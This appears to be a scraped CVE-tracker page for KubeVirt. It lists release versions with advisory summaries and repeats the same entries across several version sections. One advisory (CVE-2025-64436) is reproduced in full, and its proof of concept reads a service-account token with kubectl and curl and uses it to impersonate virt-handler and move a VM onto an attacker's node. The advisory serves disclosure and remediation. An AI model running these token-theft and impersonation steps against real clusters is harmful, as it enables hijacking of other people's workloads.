kubevirt.io/kubevirt

Version	Released
`v1.10.0-alpha.0` pre 5 CVEs	Sep 04, 2026
`v1.9.0` minor 5 CVEs	Jul 27, 2026
`v1.9.0-rc.2` pre 5 CVEs	Jul 27, 2026
`v1.9.0-rc.1` pre 5 CVEs	Jul 16, 2026
`v1.9.0-rc.0` pre 5 CVEs	Jul 02, 2026
`v1.8.4` patch 5 CVEs	Jun 15, 2026
`v1.8.3` patch 5 CVEs	Jun 02, 2026
`v1.7.4` minor 5 CVEs	Jun 01, 2026
`v1.9.0-beta.0` pre 5 CVEs	May 21, 2026
`v1.9.0-alpha.0` pre 5 CVEs	May 10, 2026
`v1.7.3` patch 6 CVEs	Apr 23, 2026
`v1.8.2` patch 6 CVEs	Apr 20, 2026
`v1.8.1` minor 6 CVEs	Mar 29, 2026
`v1.8.0` minor 6 CVEs	Mar 18, 2026
`v1.8.0-rc.1` pre 6 CVEs	Mar 18, 2026
`v1.7.2` patch 6 CVEs	Mar 16, 2026
`v1.8.0-rc.0` pre 6 CVEs	Mar 10, 2026
`v1.7.1` patch 6 CVEs	Feb 20, 2026
`v1.8.0-beta.0` pre 6 CVEs	Jan 30, 2026
`v1.8.0-alpha.0` pre 6 CVEs	Jan 13, 2026
`v1.7.0` minor 6 CVEs	Nov 22, 2025
`v1.7.0-rc.0` pre 7 CVEs	Nov 13, 2025
`v1.6.2` minor 10 CVEs	Sep 30, 2025
`v1.2.0-alpha.0` pre 13 CVEs	Jan 23, 2024
`v1.1.0` minor 13 CVEs	Nov 02, 2023
`v1.1.0-rc.0` pre 13 CVEs	Oct 19, 2023
`v1.0.1` major 13 CVEs	Oct 11, 2023
`v1.0.0-rc.0` pre 13 CVEs	Jun 13, 2023
`v0.59.0` minor 14 CVEs	Mar 01, 2023
`v0.59.0-rc.0` pre 14 CVEs	Feb 02, 2023
`v0.59.0-alpha.2` pre 14 CVEs	Jan 03, 2023
`v0.58.0-rc.0` pre 14 CVEs	Oct 02, 2022
`v0.58.0` minor 14 CVEs	Oct 02, 2022
`v0.49.1` minor 15 CVEs	Aug 23, 2022
`v0.56.0-rc.0` pre 14 CVEs	Aug 01, 2022
`v0.53.1` minor 15 CVEs	May 16, 2022
`v0.49.0-rc.0` pre 15 CVEs	Jan 04, 2022
`v0.48.0-rc.0` pre 15 CVEs	Dec 01, 2021
`v0.46.1` patch 15 CVEs	Oct 12, 2021
`v0.46.0` minor 15 CVEs	Oct 01, 2021
`v0.43.1-rc.1` pre 15 CVEs	Jul 21, 2021
`v0.41.0-rc.0` pre 15 CVEs	May 03, 2021
`v0.39.0` minor 15 CVEs	Feb 25, 2021
`v0.39.0-rc.0` pre 15 CVEs	Feb 25, 2021
`v0.38.0` minor 15 CVEs	Feb 01, 2021
`v0.34.1` minor 15 CVEs	Nov 05, 2020
`v0.33.0-rc.1` pre 15 CVEs	Sep 13, 2020
`v0.30.4` patch 15 CVEs	Jul 10, 2020
`v0.30.2` patch 15 CVEs	Jun 25, 2020
`v0.30.1` patch 15 CVEs	Jun 16, 2020

v1.10.0-alpha.0 pre

5 CVEs

Sep 04, 2026

v1.9.0 minor

5 CVEs

Jul 27, 2026

v1.9.0-rc.2 pre

5 CVEs

Jul 27, 2026

v1.9.0-rc.1 pre

5 CVEs

Jul 16, 2026

v1.9.0-rc.0 pre

5 CVEs

Jul 02, 2026

v1.8.4 patch

5 CVEs

Jun 15, 2026

v1.8.3 patch

5 CVEs

Jun 02, 2026

v1.7.4 minor

5 CVEs

Jun 01, 2026

v1.9.0-beta.0 pre

5 CVEs

May 21, 2026

v1.9.0-alpha.0 pre

5 CVEs

May 10, 2026

v1.7.3 patch

6 CVEs

Apr 23, 2026

v1.8.2 patch

6 CVEs

Apr 20, 2026

v1.8.1 minor

6 CVEs

Mar 29, 2026

v1.8.0 minor

6 CVEs

Mar 18, 2026

v1.8.0-rc.1 pre

6 CVEs

Mar 18, 2026

v1.7.2 patch

6 CVEs

Mar 16, 2026

v1.8.0-rc.0 pre

6 CVEs

Mar 10, 2026

v1.7.1 patch

6 CVEs

Feb 20, 2026

v1.8.0-beta.0 pre

6 CVEs

Jan 30, 2026

v1.8.0-alpha.0 pre

6 CVEs

Jan 13, 2026

v1.7.0 minor

6 CVEs

Nov 22, 2025

v1.7.0-rc.0 pre

7 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Nov 13, 2025

v1.6.2 minor

10 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Sep 30, 2025

v1.2.0-alpha.0 pre

13 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Jan 23, 2024

v1.1.0 minor

13 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

